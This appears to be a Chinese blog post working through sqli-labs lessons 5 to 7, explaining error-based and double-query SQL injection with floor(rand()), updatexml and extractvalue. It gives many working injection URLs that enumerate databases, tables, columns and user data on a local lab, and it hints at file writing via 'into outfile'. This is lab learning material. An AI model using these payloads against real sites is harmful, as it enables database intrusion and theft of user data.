sqli-labs学习(less-5-less-7)

Posted 2021-01-22 可乐

先介绍一些函数

 

count(*)

返回在给定的选择中被选的行数,即结果的数目

 

 

报错了,但是union没有出结果?,只是为什么？

原来是这样,这样的话只能用报错注入了

(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制，其最长输出32位
并且该语句对payload的反悔类型也做了限制，只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制，最长32位。

payload即我们要输入的sql查询语句

floor报错注入即双查询注入

可以参考

https://www.2cto.com/article/201303/192718.html

双注入的原理总的来说就是，当一个聚合函数后面出现group分组语句时，会将查询的一部分结果以报错的形式返回，他有一个固定的公式。

http://localhost/sql/Less-5/?id=1\' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
当然只有一个也行
http://localhost/sqli/Less-5/?id=1\' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

http://localhost/sqli-labs-master/Less-5/?id=-1\' union select count(*),2,concat(\'*\',(select database()),\'*\',floor(rand()*2))as a from information_schema.tables group by a--+

http://localhost/sql/Less-5/?id=-1\' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

因为是随机性,所以要多刷新几下

http://localhost/sql/Less-5/?id=-1\' union select count(*),count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a %23

查询有哪些数据库

http://localhost/sql/Less-5/?id=2\' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

字数超限

http://localhost/sql/Less-5/?id=2\' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 1,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查询表

http://localhost/sql/Less-5/?id=1\' union select count(*),1, concat(\'~\',(select table_name from information_schema.tables where table_schema=\'security\' limit 0,1),\'~\', floor(rand()*2)) as a from information_schema.tables group by a%23

查询列字段

http://localhost/sql/Less-5/?id=1\' union select count(*),1, concat(\'~\',(select column_name from information_schema.columns where table_schema=\'security\' and table_name=\'emails\' limit 0,1),\'~\', floor(rand()*2)) as a from information_schema.tables group by a%23

查询内容

http://localhost/sql/Less-5/?id=1\' union select count(*),1, concat(\'~\',(select email_id from emails limit 0,1),\'~\', floor(rand()*2)) as a from information_schema.tables group by a%23

http://localhost/sql/Less-5/?id=1\' union select count(*),1, concat(\'~\',(select username from users limit 0,1),\'~\', floor(rand()*2)) as a from information_schema.tables group by a%23

用group_concat()查看多个发现不行,不知道为啥~~

less-6

与less-5一样,只是把id外面的单引号改为了双引号

less-7

关键代码

$sql="SELECT * FROM users WHERE id=((\'$id\')) LIMIT 0,1";

关键只是id用\'))闭合就行了,但缺爆了错误 ，有点蒙，以后补充解释,

提示是用 

use outfile